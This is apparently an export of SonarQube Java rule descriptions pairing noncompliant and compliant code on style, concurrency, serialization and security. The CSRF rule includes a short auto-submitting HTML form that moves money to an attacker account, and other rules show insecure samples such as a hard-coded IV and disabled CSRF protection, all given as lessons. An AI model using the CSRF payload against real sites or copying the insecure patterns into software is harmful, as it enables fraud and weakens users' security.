import static java.lang.Math.*;
java:S1119

Labels are not commonly used in Java, and many developers do not understand how they work. Moreover, their usage makes the control flow harder to follow, which reduces the code's readability.

Noncompliant Code Example

int matrix[][] = {
  {1, 2, 3},
  {4, 5, 6},
  {7, 8, 9}
};

outer: for (int row = 0; row < matrix.length; row++) {   // Non-Compliant
  for (int col = 0; col < matrix[row].length; col++) {
    if (col == row) {
      continue outer;
    }
    System.out.println(matrix[row][col]);                // Prints the elements under the diagonal, i.e. 4, 7 and 8
  }
}

Compliant Solution

for (int row = 1; row < matrix.length; row++) {          // Compliant
  for (int col = 0; col < row; col++) {
    System.out.println(matrix[row][col]);                // Also prints 4, 7 and 8
  }
}
java:S3417

Whether they are disallowed locally for security, license, or dependability reasons, forbidden dependencies should not be used.

This rule raises an issue when the group or artifact id of a direct dependency matches the configured forbidden dependency pattern.

Noncompliant Code Example

With a parameter of: *:.*log4j.*

<dependency> <!-- Noncompliant -->
    <groupId>log4j</groupId>
    <artifactId>log4j</artifactId>
    <version>1.2.17</version>
</dependency>
java:S2209

While it is possible to access static members from a class instance, it's bad form, and considered by most to be misleading because it implies to the readers of your code that there's an instance of the member per class instance.

Noncompliant Code Example

public class A {
  public static int counter = 0;
}

public class B {
  private A first = new A();
  private A second = new A();

  public void runUpTheCount() {
    first.counter ++;  // Noncompliant
    second.counter ++;  // Noncompliant. A.counter is now 2, which is perhaps contrary to expectations
  }
}

Compliant Solution

public class A {
  public static int counter = 0;
}

public class B {
  private A first = new A();
  private A second = new A();

  public void runUpTheCount() {
    A.counter ++;  // Compliant
    A.counter ++;  // Compliant
  }
}
java:S3419

Shared naming conventions allow teams to collaborate effectively. This rule raises an issue when the a pom's groupId does not match the provided regular expression.

Noncompliant Code Example

With the default regular expression: (com|org)(\.[a-z][a-z-0-9]*)+

<project ...>
  <groupId>myCo</groupId>  <!-- Noncompliant -->

  <!-- ... -->
</project>

Compliant Solution

<project ...>
  <groupId>com.myco</groupId>

  <!-- ... -->
</project>
java:S4508

Deserializing objects is security-sensitive. For example, it has led in the past to the following vulnerabilities:

Object deserialization from an untrusted source can lead to unexpected code execution. ObjectInputStream doesn't provide a way to apply rules on its InputStream argument. Knowing that all serializable classes in the scope of the classloader will be deserialized, there is a possibility that malicious code could be executed during the deserialization phase even if, in the end, a ClassCastException will be raised.

Deserialization takes a stream of bits and turns it into an object. If the stream contains the type of object you expect, all is well. But if you're deserializing untrusted input, and an attacker has inserted some other type of object, you're in trouble. Why? There are a few different attack scenarios, but one widely-documented one goes like this: Deserialization first instantiates an Object, then uses the readObject method to populate it. If the attacker has overridden readObject then he is entirely in control of what code executes during that process. It is only after readObject has completed that your newly-minted Object can be cast to the type you expected. A ClassCastException or ClassNotFoundException will be thrown, but at that point it's too late.

Ask Yourself Whether

  • an attacker could have tampered with the source provided to the deserialization function.
  • you are using an unsafe deserialization function. See the Recommended Secure Coding Practices for examples of safe libraries.

You are at risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

To prevent insecure deserialization, you should either use look-ahead deserialization (pre-Java 9) or a filter to make sure you're dealing with the correct type of object before you act on it.

Several third-party libraries offer look-ahead deserialization, including:

  • ikkisoft's SerialKiller
  • Apache Commons Class IO's ValidatingObjectInputStream
  • contrast-rO0's SafeObjectInputStream

Note that it is possible to set a deserialization filter at the level of the JVM, but relying on that requires that your environment be configured perfectly. Every time. Additionally, such a filter may have unwanted impacts on other applications in the environment. On the other hand, setting a filter as close as possible to the deserialization that uses it allows you to specify a very narrow, focused filter.

You should also limit access to the serialized source. For example:

  • if it is a file, restrict the access to it.
  • if it comes from the network, restrict who has access to the process, such as with a Firewall or by authenticating the sender first.

See

Deprecated

This rule is deprecated, and will eventually be removed.

java:NoSonar

Any issue to quality rule can be deactivated with the NOSONAR marker. This marker is pretty useful to exclude false-positive results but it can also be used abusively to hide real quality flaws.

This rule raises an issue when NOSONAR is used.

java:S2440

static methods can be accessed without an instance of the enclosing class, so there's no reason to instantiate a class that has only static methods.

Noncompliant Code Example

public class TextUtils {
  public static String stripHtml(String source) {
    return source.replaceAll("<[^>]+>", "");
  }
}

public class TextManipulator {

  // ...

  public void cleanText(String source) {
    TextUtils textUtils = new TextUtils(); // Noncompliant

    String stripped = textUtils.stripHtml(source);

    //...
  }
}

Compliant Solution

public class TextUtils {
  public static String stripHtml(String source) {
    return source.replaceAll("<[^>]+>", "");
  }
}

public class TextManipulator {

  // ...

  public void cleanText(String source) {
    String stripped = TextUtils.stripHtml(source);

    //...
  }
}

See Also

  • S1118 - Utility classes should not have public constructors
java:S2681

Curly braces can be omitted from a one-line block, such as with an if statement or for loop, but doing so can be misleading and induce bugs.

This rule raises an issue when the whitespacing of the lines after a one line block indicates an intent to include those lines in the block, but the omission of curly braces means the lines will be unconditionally executed once.

Noncompliant Code Example

if (condition)
  firstActionInBlock();
  secondAction();  // Noncompliant; executed unconditionally
thirdAction();

if (condition) firstActionInBlock(); secondAction();  // Noncompliant; secondAction executed unconditionally

if (condition) firstActionInBlock();  // Noncompliant
  secondAction();  // Executed unconditionally

if (condition); secondAction();  // Noncompliant; secondAction executed unconditionally

String str = null;
for (int i = 0; i < array.length; i++)
  str = array[i];
  doTheThing(str);  // Noncompliant; executed only on last array element

Compliant Solution

if (condition) {
  firstActionInBlock();
  secondAction();
}
thirdAction();

String str = null;
for (int i = 0; i < array.length; i++) {
  str = array[i];
  doTheThing(str);
}

See

java:S2200

While most compareTo methods return -1, 0, or 1, some do not, and testing the result of a compareTo against a specific value other than 0 could result in false negatives.

Noncompliant Code Example

if (myClass.compareTo(arg) == -1) {  // Noncompliant
  // ...
}

Compliant Solution

if (myClass.compareTo(arg) < 0) {
  // ...
}
java:S2442

java.util.concurrent.locks.Lock offers far more powerful and flexible locking operations than are available with synchronized blocks. So synchronizing on a Lock throws away the power of the object, and is just silly. Instead, such objects should be locked and unlocked using tryLock() and unlock().

Noncompliant Code Example

Lock lock = new MyLockImpl();
synchronized(lock) {  // Noncompliant
  //...
}

Compliant Solution

Lock lock = new MyLockImpl();
lock.tryLock();
//...

See

  • CERT, LCK03-J. - Do not synchronize on the intrinsic locks of high-level concurrency objects
java:S1110

The use of parentheses, even those not required to enforce a desired order of operations, can clarify the intent behind a piece of code. But redundant pairs of parentheses could be misleading, and should be removed.

Noncompliant Code Example

int x = (y / 2 + 1);   //Compliant even if the parenthesis are ignored by the compiler

if (a && ((x+y > 0))) {  // Noncompliant
  //...
}

return ((x + 1));  // Noncompliant

Compliant Solution

int x = (y / 2 + 1);

if (a && (x+y > 0)) {
  //...
}

return (x + 1);
java:S1111

According to the official javadoc documentation, this Object.finalize() is called by the garbage collector on an object when garbage collection determines that there are no more references to the object. Calling this method explicitly breaks this contract and so is misleading.

Noncompliant Code Example

public void dispose() throws Throwable {
  this.finalize();                       // Noncompliant
}

See

java:S2441

If you have no intention of writting an HttpSession object to file, then storing non-serializable objects in it may not seem like a big deal. But whether or not you explicitly serialize the session, it may be written to disk anyway, as the server manages its memory use in a process called "passivation". Further, some servers automatically write their active sessions out to file at shutdown & deserialize any such sessions at startup.

The point is, that even though HttpSession does not extend Serializable, you must nonetheless assume that it will be serialized, and understand that if you've stored non-serializable objects in the session, errors will result.

Noncompliant Code Example

public class Address {
  //...
}

//...
HttpSession session = request.getSession();
session.setAttribute("address", new Address());  // Noncompliant; Address isn't serializable

See

  • MITRE, CWE-579 - J2EE Bad Practices: Non-serializable Object Stored in Session
java:S1596

Since the introduction of generics in Java 5, the use of generic types such as List<String> is recommended over the use of raw ones such as List. Assigning a raw type to a generic one is not type safe, and will generate a warning. The old EMPTY_... fields of the Collections class return raw types, whereas the newer empty...() methods return generic ones.

Noncompliant Code Example

List<String> collection1 = Collections.EMPTY_LIST;  // Noncompliant
Map<String, String> collection2 = Collections.EMPTY_MAP;  // Noncompliant
Set<String> collection3 = Collections.EMPTY_SET;  // Noncompliant

Compliant Solution

List<String> collection1 = Collections.emptyList();
Map<String, String> collection2 = Collections.emptyMap();
Set<String> collection3 = Collections.emptySet();
java:S4502

CSRF vulnerabilities occur when attackers can trick a user to perform sensitive authenticated operations on a web application without his consent.

<body onload="document.forms[0].submit()">
<form>
<form action="http://mybank.com/account/transfer_money" method="POST">
    <input type="hidden" name="accountNo" value="attacker_account_123456"/>
    <input type="hidden" name="amount" value="10000"/>
    <input type="submit" value="Steal money"/>
</form>

If an user visits the attacker's website which contains the above malicious code, his bank account will be debited without his consent and notice.

Ask Yourself Whether

  • There exist sensitive operations on the web application that can be performed when the user is authenticated.
  • The state / resources of the web application could be modified by doing HTTP POST or HTTP DELETE requests for example.
  • The web application is not only a public API designed to be requested by external websites.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Protection against CSRF attacks is strongly recommended:
    • to be activated by default for all unsafe HTTP methods.
    • implemented, for example, with an unguessable CSRF token
  • Of course all sensitive operations should not be performed with safe HTTP methods like GET which are designed to be used only for information retrieval.

Sensitive Code Example

Spring Security provides by default a protection against CSRF attacks.

@EnableWebSecurity
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {

  @Override
  protected void configure(HttpSecurity http) throws Exception {
    http.csrf().disable(); // Sensitive
  }
}

Compliant Solution

With Spring Security CSRF protection is enabled by default, do not disable it.

@EnableWebSecurity
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {

  @Override
  protected void configure(HttpSecurity http) throws Exception {
    // http.csrf().disable(); // Compliant
  }
}

See

java:S2444

In a multi-threaded situation, un-synchronized lazy initialization of static fields could mean that a second thread has access to a half-initialized object while the first thread is still creating it. Allowing such access could cause serious bugs. Instead. the initialization block should be synchronized.

Similarly, updates of such fields should also be synchronized.

This rule raises an issue whenever a lazy static initialization is done on a class with at least one synchronized method, indicating intended usage in multi-threaded applications.

Noncompliant Code Example

private static Properties fPreferences = null;

private static Properties getPreferences() {
        if (fPreferences == null) {
            fPreferences = new Properties(); // Noncompliant
            fPreferences.put("loading", "true");
            fPreferences.put("filterstack", "true");
            readPreferences();
        }
        return fPreferences;
    }
}

Compliant Solution

private static Properties fPreferences = null;

private static synchronized Properties getPreferences() {
        if (fPreferences == null) {
            fPreferences = new Properties();
            fPreferences.put("loading", "true");
            fPreferences.put("filterstack", "true");
            readPreferences();
        }
        return fPreferences;
    }
}
java:S5833

Describing, setting error message or adding a comparator in AssertJ must be done before calling the assertion, otherwise, settings will not be taken into account.

This rule raises an issue when one of the method (with all similar methods):

  • as
  • describedAs
  • withFailMessage
  • overridingErrorMessage
  • usingComparator
  • usingElementComparator
  • extracting
  • filteredOn

is called without calling an AssertJ assertion afterward.

Noncompliant Code Example

assertThat(actual).isEqualTo(expected).as("Description"); // Noncompliant
assertThat(actual).isEqualTo(expected).withFailMessage("Fail message"); // Noncompliant
assertThat(actual).isEqualTo(expected).usingComparator(new CustomComparator()); // Noncompliant

Compliant Solution

assertThat(actual).as("Description").isEqualTo(expected);
assertThat(actual).withFailMessage("Fail message").isEqualTo(expected);
assertThat(actual).usingComparator(new CustomComparator()).isEqualTo(expected);

See

java:S2201

When the call to a function doesn't have any side effects, what is the point of making the call if the results are ignored? In such case, either the function call is useless and should be dropped or the source code doesn't behave as expected.

To prevent generating any false-positives, this rule triggers an issue only on the following predefined list of immutable classes in the Java API :

  • java.lang.String
  • java.lang.Boolean
  • java.lang.Integer
  • java.lang.Double
  • java.lang.Float
  • java.lang.Byte
  • java.lang.Character
  • java.lang.Short
  • java.lang.StackTraceElement
  • java.time.DayOfWeek
  • java.time.Duration
  • java.time.Instant
  • java.time.LocalDate
  • java.time.LocalDateTime
  • java.time.LocalTime
  • java.time.Month
  • java.time.MonthDay
  • java.time.OffsetDateTime
  • java.time.OffsetTime
  • java.time.Period
  • java.time.Year
  • java.time.YearMonth
  • java.time.ZonedDateTime
  • java.math.BigInteger
  • java.math.BigDecimal
  • java.util.Optional

As well as methods of the following classes:

  • java.util.Collection:
    • size()
    • isEmpty()
    • contains(...)
    • containsAll(...)
    • iterator()
    • toArray()
  • java.util.Map:
    • size()
    • isEmpty()
    • containsKey(...)
    • containsValue(...)
    • get(...)
    • getOrDefault(...)
    • keySet()
    • entrySet()
    • values()

Noncompliant Code Example

public void handle(String command){
  command.toLowerCase(); // Noncompliant; result of method thrown away
  ...
}

Compliant Solution

public void handle(String command){
  String formattedCommand = command.toLowerCase();
  ...
}

Exceptions

This rule will not raise an issue when both these conditions are met:

  • The method call is in a try block with an associated catch clause.
  • The method name starts with "parse", "format", "decode" or "valueOf" or the method is String.getBytes(Charset).
private boolean textIsInteger(String textToCheck) {

    try {
        Integer.parseInt(textToCheck, 10); // OK
        return true;
    } catch (NumberFormatException ignored) {
        return false;
    }
}

See

java:S1113

The Object.finalize() method is called on an object by the garbage collector when it determines that there are no more references to the object. But there is absolutely no warranty that this method will be called AS SOON AS the last references to the object are removed. It can be few microseconds to few minutes later. So when system resources need to be disposed by an object, it's better to not rely on this asynchronous mechanism to dispose them.

Noncompliant Code Example

public class MyClass {
  ...
  protected void finalize() {
    releaseSomeResources();    // Noncompliant
  }
  ...
}

See

java:S2204

AtomicInteger, and AtomicLong extend Number, but they're distinct from Integer and Long and should be handled differently. AtomicInteger and AtomicLong are designed to support lock-free, thread-safe programming on single variables. As such, an AtomicInteger will only ever be "equal" to itself. Instead, you should .get() the value and make comparisons on it.

This applies to all the atomic, seeming-primitive wrapper classes: AtomicInteger, AtomicLong, and AtomicBoolean.

Noncompliant Code Example

AtomicInteger aInt1 = new AtomicInteger(0);
AtomicInteger aInt2 = new AtomicInteger(0);

if (aInt1.equals(aInt2)) { ... }  // Noncompliant

Compliant Solution

AtomicInteger aInt1 = new AtomicInteger(0);
AtomicInteger aInt2 = new AtomicInteger(0);

if (aInt1.get() == aInt2.get()) { ... }
java:S1598

By convention, a Java class' physical location (source directories) and its logical representation (packages) should be kept in sync. Thus a Java file located at "src/org/bar/Foo.java" should have a package of "org.bar".

Unfortunately, this convention is not enforced by Java compilers, and nothing prevents a developer from making the "Foo.java" class part of the "com.apple" package, which could degrade the maintainability of both the class and its application.

Similarly, source placed in a folder with dots in its name instead of having the equivalent folder structure will compile but cause problems at run time. For instance, code with a package declaration of org.foo.bar that is placed in org/foo.bar will compile, but the classloader will always search for the class into the folder based on package structure, and will consequently expect sources to be in org/foo/bar folder. foo.bar is therefore not a proper folder name for sources.

java:S2446

notify and notifyAll both wake up sleeping threads, but notify only rouses one, while notifyAll rouses all of them. Since notify might not wake up the right thread, notifyAll should be used instead.

Noncompliant Code Example

class MyThread extends Thread{

  @Override
  public void run(){
    synchronized(this){
      // ...
      notify();  // Noncompliant
    }
  }
}

Compliant Solution

class MyThread extends Thread{

  @Override
  public void run(){
    synchronized(this){
      // ...
      notifyAll();
    }
  }
}

See

  • CERT, THI02-J. - Notify all waiting threads rather than a single thread
java:S1114

Overriding the Object.finalize() method must be done with caution to dispose some system resources.

Calling the super.finalize() at the end of this method implementation is highly recommended in case parent implementations must also dispose some system resources.

Noncompliant Code Example

protected void finalize() {   // Noncompliant; no call to super.finalize();
  releaseSomeResources();
}

protected void finalize() {
  super.finalize();  // Noncompliant; this call should come last
  releaseSomeResources();
}

Compliant Solution

protected void finalize() {
  releaseSomeResources();
  super.finalize();
}

See

java:S2325

private methods that don't access instance data can be static to prevent any misunderstanding about the contract of the method.

Noncompliant Code Example

class Utilities {
  private static String magicWord = "magic";

  private String getMagicWord() { // Noncompliant
    return magicWord;
  }

  private void setMagicWord(String value) { // Noncompliant
    magicWord = value;
  }

}

Compliant Solution

class Utilities {
  private static String magicWord = "magic";

  private static String getMagicWord() {
    return magicWord;
  }

  private static void setMagicWord(String value) {
    magicWord = value;
  }

}

Exceptions

When java.io.Serializable is implemented the following three methods are excluded by the rule:

  • private void writeObject(java.io.ObjectOutputStream out) throws IOException;
  • private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException;
  • private void readObjectNoData() throws ObjectStreamException;
java:S3414

It is a good practice to isolate test classes in a separate package so that what is shipped to production is neither polluted by nor bloated with them. Further, including unit tests in code assemblies could affect build processes.

This rule raises an issue when test classes are found in projects containing non-test-related code.

java:S5831

A org.assertj.core.configuration.Configuration will be effective only once you call Configuration.apply() or Configuration.applyAndDisplay().

This rule raises an issue when configurations are set without the appropriate call to apply them.

Noncompliant Code Example

Configuration configuration = new Configuration(); // Noncompliant, this configuration will not be applied.
configuration.setComparingPrivateFields(true);{code}

Compliant Solution

Configuration configuration = new Configuration();
configuration.setComparingPrivateFields(true);
configuration.applyAndDisplay();
// Alternatively: configuration.apply();

See

java:S3776

Cognitive Complexity is a measure of how hard the control flow of a method is to understand. Methods with high Cognitive Complexity will be difficult to maintain.

See

java:S2203

While you can use either forEach(list::add) or collect with a Stream, collect is by far the better choice because it's automatically thread-safe and parallellizable.

Noncompliant Code Example

List<String> bookNames = new ArrayList<>();
books.stream().filter(book -> book.getIsbn().startsWith("0"))
                .map(Book::getTitle)
                .forEach(bookNames::add);  // Noncompliant

Compliant Solution

List<String> bookNames = books.stream().filter(book -> book.getIsbn().startsWith("0"))
                .map(Book::getTitle)
                .collect(Collectors.toList());
java:S3655

Optional value can hold either a value or not. The value held in the Optional can be accessed using the get() method, but it will throw a

NoSuchElementException if there is no value present. To avoid the exception, calling the isPresent() or ! isEmpty() method should always be done before any call to get().

Alternatively, note that other methods such as orElse(...), orElseGet(...) or orElseThrow(...) can be used to specify what to do with an empty Optional.

Noncompliant Code Example

Optional<String> value = this.getOptionalValue();

// ...

String stringValue = value.get(); // Noncompliant

Compliant Solution

Optional<String> value = this.getOptionalValue();

// ...

if (value.isPresent()) {
  String stringValue = value.get();
}

or

Optional<String> value = this.getOptionalValue();

// ...

String stringValue = value.orElse("default");

See

java:S2445

Synchronizing on a class field synchronizes not on the field itself, but on the object assigned to it. So synchronizing on a non-final field makes it possible for the field's value to change while a thread is in a block synchronized on the old value. That would allow a second thread, synchronized on the new value, to enter the block at the same time.

The story is very similar for synchronizing on parameters; two different threads running the method in parallel could pass two different object instances in to the method as parameters, completely undermining the synchronization.

Noncompliant Code Example

private String color = "red";

private void doSomething(){
  synchronized(color) {  // Noncompliant; lock is actually on object instance "red" referred to by the color variable
    //...
    color = "green"; // other threads now allowed into this block
    // ...
  }
  synchronized(new Object()) { // Noncompliant this is a no-op.
     // ...
  }
}

Compliant Solution

private String color = "red";
private final Object lockObj = new Object();

private void doSomething(){
  synchronized(lockObj) {
    //...
    color = "green";
    // ...
  }
}

See

  • MITRE, CWE-412 - Unrestricted Externally Accessible Lock
  • MITRE, CWE-413 - Improper Resource Locking
  • CERT, LCK00-J. - Use private final lock objects to synchronize classes that may interact with untrusted code
java:S2118

Nothing in a non-serializable class will be written out to file, and attempting to serialize such a class will result in an exception being thrown. Only a class that implements Serializable or one that extends such a class can successfully be serialized (or de-serialized).

Noncompliant Code Example

public class Vegetable {  // neither implements Serializable nor extends a class that does
  //...
}

public class Menu {
  public void meal() throws IOException {
    Vegetable veg;
    //...
    FileOutputStream fout = new FileOutputStream(veg.getName());
    ObjectOutputStream oos = new ObjectOutputStream(fout);
    oos.writeObject(veg);  // Noncompliant. Nothing will be written
  }
}

Compliant Solution

public class Vegetable implements Serializable {  // can now be serialized
  //...
}

public class Menu {
  public void meal() throws IOException {
    Vegetable veg;
    //...
    FileOutputStream fout = new FileOutputStream(veg.getName());
    ObjectOutputStream oos = new ObjectOutputStream(fout);
    oos.writeObject(veg);
  }
}
java:S1149

Early classes of the Java API, such as Vector, Hashtable and StringBuffer, were synchronized to make them thread-safe. Unfortunately, synchronization has a big negative impact on performance, even when using these collections from a single thread.

It is better to use their new unsynchronized replacements:

  • ArrayList or LinkedList instead of Vector
  • Deque instead of Stack
  • HashMap instead of Hashtable
  • StringBuilder instead of StringBuffer

Even when used in synchronized context, you should think twice before using it, since it's usage can be tricky. If you are confident the usage is legitimate, you can safely ignore this warning.

Noncompliant Code Example

Vector cats = new Vector();

Compliant Solution

ArrayList cats = new ArrayList();

Exceptions

Use of those synchronized classes is ignored in the signatures of overriding methods.

@Override
public Vector getCats() {...}
java:S5868

When placing Unicode Grapheme Clusters (characters which require to be encoded in multiple Code Points) inside a character class of a regular expression, this will likely lead to unintended behavior.

For instance, the grapheme cluster requires two code points: one for 'c', followed by one for the umlaut modifier '\u{0308}'. If placed within a character class, such as [c̈], the regex will consider the character class being the enumeration [c\u{0308}] instead. It will, therefore, match every 'c' and every umlaut that isn't expressed as a single codepoint, which is extremely unlikely to be the intended behavior.

This rule raises an issue every time Unicode Grapheme Clusters are used within a character class of a regular expression.

Noncompliant Code Example

"cc̈d̈d".replaceAll("[c̈d̈]", "X"); // Noncompliant, print "XXXXXX" instead of expected "cXXd".

Compliant Solution

"cc̈d̈d".replaceAll("c̈|d̈", "X"); // print "cXXd"
java:S3329

In encryption, when Cipher Block Chaining (CBC) is used, the Initialization Vector (IV) must be random and unpredictable. Otherwise, the encrypted value is vulnerable to crypto-analysis attacks such as the "Chosen-Plaintext Attack".

An IV value should be associated to one, and only one encryption cycle, because the IV's purpose is to ensure that the same plaintext encrypted twice will yield two different ciphertexts.

To that end, IV's should be:

  • random
  • unpredictable
  • publishable (IVs are frequently published)
  • authenticated, along with the ciphertext, with a Message Authentication Code (MAC)

This rule raises an issue when the IV is:

  • hard-coded
  • created using java.util.Random rather than java.security.SecureRandom.

Noncompliant Code Example

public class MyCbcClass {

  public String applyCBC(String strKey, String plainText) {
    byte[] bytesIV = "7cVgr5cbdCZVw5WY".getBytes("UTF-8");

    /* KEY + IV setting */
    IvParameterSpec iv = new IvParameterSpec(bytesIV);
    SecretKeySpec skeySpec = new SecretKeySpec(strKey.getBytes("UTF-8"), "AES");

    /* Ciphering */
    Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
    cipher.init(Cipher.ENCRYPT_MODE, skeySpec, iv);  // Noncompliant because IV hard coded and cannot vary with each ciphering round
    byte[] encryptedBytes = cipher.doFinal(plainText.getBytes("UTF-8"));
    return DatatypeConverter.printBase64Binary(bytesIV) // IV is typically published
            + ";" + DatatypeConverter.printBase64Binary(encryptedBytes);
  }
}

Compliant Solution

public class MyCbcClass {

  SecureRandom random = new SecureRandom();

  public String applyCBC(String strKey, String plainText) {
    byte[] bytesIV = new byte[16];
    random.nextBytes(bytesIV);

    /* KEY + IV setting */
    IvParameterSpec iv = new IvParameterSpec(bytesIV);
    SecretKeySpec skeySpec = new SecretKeySpec(strKey.getBytes("UTF-8"), "AES");

    /* Ciphering */
    Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
    cipher.init(Cipher.ENCRYPT_MODE, skeySpec, iv);
    byte[] encryptedBytes = cipher.doFinal(plainText.getBytes("UTF-8"));
    return DatatypeConverter.printBase64Binary(bytesIV)
            + ";" + DatatypeConverter.printBase64Binary(encryptedBytes);
  }
}

See

  • MITRE, CWE-330 - Use of Insufficiently Random Values
  • OWASP Top 10 2017 Category A6 - Security Misconfiguration
  • Derived from FindSecBugs rule STATIC_IV
java:S5869

Character classes in regular expressions are a convenient way to match one of several possible characters by listing the allowed characters or ranges of characters. If the same character is listed twice in the same character class or if the character class contains overlapping ranges, this has no effect.

Thus duplicate characters in a character class are either a simple oversight or a sign that a range in the character class matches more than is intended or that the author misunderstood how character classes work and wanted to match more than one character. A common example of the latter mistake is trying to use a range like [0-99] to match numbers of up to two digits, when in fact it is equivalent to [0-9]. Another common cause is forgetting to escape the `-` character, creating an unintended range that overlaps with other characters in the character class.

Noncompliant Code Example

str.matches("[0-99]") // Noncompliant, this won't actually match strings with two digits
str.matches("[0-9.-_]") // Noncompliant, .-_ is a range that already contains 0-9 (as well as various other characters such as capital letters)

Compliant Solution

str.matches("[0-9]{1,2}")
str.matches("[0-9.\\-_]")
java:S2119

Creating a new Random object each time a random value is needed is inefficient and may produce numbers which are not random depending on the JDK. For better efficiency and randomness, create a single Random, then store, and reuse it.

The Random() constructor tries to set the seed with a distinct value every time. However there is no guarantee that the seed will be random or even uniformly distributed. Some JDK will use the current time as seed, which makes the generated numbers not random at all.

This rule finds cases where a new Random is created each time a method is invoked and assigned to a local random variable.

Noncompliant Code Example

public void doSomethingCommon() {
  Random rand = new Random();  // Noncompliant; new instance created with each invocation
  int rValue = rand.nextInt();
  //...

Compliant Solution

private Random rand = SecureRandom.getInstanceStrong();  // SecureRandom is preferred to Random

public void doSomethingCommon() {
  int rValue = this.rand.nextInt();
  //...

Exceptions

A class which uses a Random in its constructor or in a static main function and nowhere else will be ignored by this rule.

See

java:S881

The use of increment and decrement operators in method calls or in combination with other arithmetic operators is not recommended, because:

  • It can significantly impair the readability of the code.
  • It introduces additional side effects into a statement, with the potential for undefined behavior.
  • It is safer to use these operators in isolation from any other arithmetic operators.

Noncompliant Code Example

u8a = ++u8b + u8c--;
foo = bar++ / 4;

Compliant Solution

The following sequence is clearer and therefore safer:

++u8b;
u8a = u8b + u8c;
u8c--;
foo = bar / 4;
bar++;

See

  • CERT, EXP30-C. - Do not depend on the order of evaluation for side effects
  • CERT, EXP50-CPP. - Do not depend on the order of evaluation for side effects
  • CERT, EXP05-J. - Do not follow a write by a subsequent write or read of the same object within an expression
java:S2110

Whether the valid value ranges for Date fields start with 0 or 1 varies by field. For instance, month starts at 0, and day of month starts at 1. Enter a date value that goes past the end of the valid range, and the date will roll without error or exception. For instance, enter 12 for month, and you'll get January of the following year.

This rule checks for bad values used in conjunction with java.util.Date, java.sql.Date, and java.util.Calendar. Specifically, values outside of the valid ranges:

Field Valid
month 0-11
date (day) 0-31
hour 0-23
minute 0-60
second 0-61

Note that this rule does not check for invalid leap years, leap seconds (second = 61), or invalid uses of the 31st day of the month.

Noncompliant Code Example

Date d = new Date();
d.setDate(25);
d.setYear(2014);
d.setMonth(12);  // Noncompliant; rolls d into the next year

Calendar c = new GregorianCalendar(2014, 12, 25);  // Noncompliant
if (c.get(Calendar.MONTH) == 12) {  // Noncompliant; invalid comparison
  // ...
}

Compliant Solution

Date d = new Date();
d.setDate(25);
d.setYear(2014);
d.setMonth(11);

Calendar c = new Gregorian Calendar(2014, 11, 25);
if (c.get(Calendar.MONTH) == 11) {
  // ...
}
java:S1141

Nesting try/catch blocks severely impacts the readability of source code because it makes it too difficult to understand which block will catch which exception.

java:S4531

Using setters in Struts 2 ActionSupport is security-sensitive. For example, their use has led in the past to the following vulnerabilities:

All classes extending com.opensymphony.xwork2.ActionSupport are potentially remotely reachable. An action class extending ActionSupport will receive all HTTP parameters sent and these parameters will be automatically mapped to the setters of the Struts 2 action class. One should review the use of the fields set by the setters, to be sure they are used safely. By default, they should be considered as untrusted inputs.

Ask Yourself Whether

  • the setter is needed. There is no need for it if the attribute's goal is not to map queries' parameter.
  • the value provided to the setter is properly sanitized before being used or stored. (*)

(*) You are at risk if you answered yes to this question.

Recommended Secure Coding Practices

As said in Struts documentation: "Do not define setters when not needed"

Sanitize the user input. This can be for example done by implementing the validate() method of com.opensymphony.xwork2.ActionSupport.

Noncompliant Code Example

public class AccountBalanceAction extends ActionSupport {
  private static final long serialVersionUID = 1L;
  private Integer accountId;

  // this setter might be called with user input
  public void setAccountId(Integer accountId) {
    this.accountId = accountId;
  }

  @Override
  public String execute() throws Exception {
    // call a service to get the account's details and its balance
    [...]
    return SUCCESS;
  }
}

See

Deprecated

This rule is deprecated, and will eventually be removed.

java:S1142

Having too many return statements in a method increases the method's essential complexity because the flow of execution is broken each time a return statement is encountered. This makes it harder to read and understand the logic of the method.

Noncompliant Code Example

With the default threshold of 3:

public boolean myMethod() { // Noncompliant; there are 4 return statements
  if (condition1) {
    return true;
  } else {
    if (condition2) {
      return false;
    } else {
      return true;
    }
  }
  return false;
}
java:S2230

Marking a non-public method @Transactional is both useless and misleading because Spring doesn't "see" non-public methods, and so makes no provision for their proper invocation. Nor does Spring make provision for the methods invoked by the method it called.

Therefore marking a private method, for instance, @Transactional can only result in a runtime error or exception if the method is actually written to be @Transactional.

Noncompliant Code Example

@Transactional  // Noncompliant
private void doTheThing(ArgClass arg) {
  // ...
}
java:S5863

Assertions comparing an object to itself are more likely to be bugs due to developer's carelessness.

This rule raises an issue when the actual expression matches the expected expression.

Noncompliant Code Example

assertThat(actual).isEqualTo(actual); // Noncompliant

Compliant Solution

assertThat(actual).isEqualTo(expected);

Exceptions

In a unit test validating the equals(...) and hashCode() methods, it's legitimate to compare an object to itself. This rule does not raise an issue for isEqualTo, assertEquals or hasSameHashCodeAs when the unit test name contains (case insensitive): equal, hash_?code, object_?method. For example, in tests with the following names: test_equals, testEqual, test_hashCode, test_hash_code, test_object_methods.

class MyClassTest {
  @Test
  void test_equals_and_hash_code() {
    MyClass obj = new MyClass();
    assertThat(obj).isEqualTo(obj); // Compliant
    assertThat(obj).hasSameHashCodeAs(obj); // Compliant
  }
}
java:S1264

When only the condition expression is defined in a for loop, and the initialization and increment expressions are missing, a while loop should be used instead to increase readability.

Noncompliant Code Example

for (;condition;) { /*...*/ }

Compliant Solution

while (condition) { /*...*/ }
java:S1143

Using return, break, throw, and so on from a finally block suppresses the propagation of any unhandled Throwable which was thrown in the try or catch block.

This rule raises an issue when a jump statement (break, continue, return, throw, and goto) would force control flow to leave a finally block.

Noncompliant Code Example

public static void main(String[] args) {
  try {
    doSomethingWhichThrowsException();
    System.out.println("OK");   // incorrect "OK" message is printed
  } catch (RuntimeException e) {
    System.out.println("ERROR");  // this message is not shown
  }
}

public static void doSomethingWhichThrowsException() {
  try {
    throw new RuntimeException();
  } finally {
    for (int i = 0; i < 10; i ++) {
      //...
      if (q == i) {
        break; // ignored
      }
    }

    /* ... */
    return;      // Noncompliant - prevents the RuntimeException from being propagated
  }
}

Compliant Solution

public static void main(String[] args) {
  try {
    doSomethingWhichThrowsException();
    System.out.println("OK");
  } catch (RuntimeException e) {
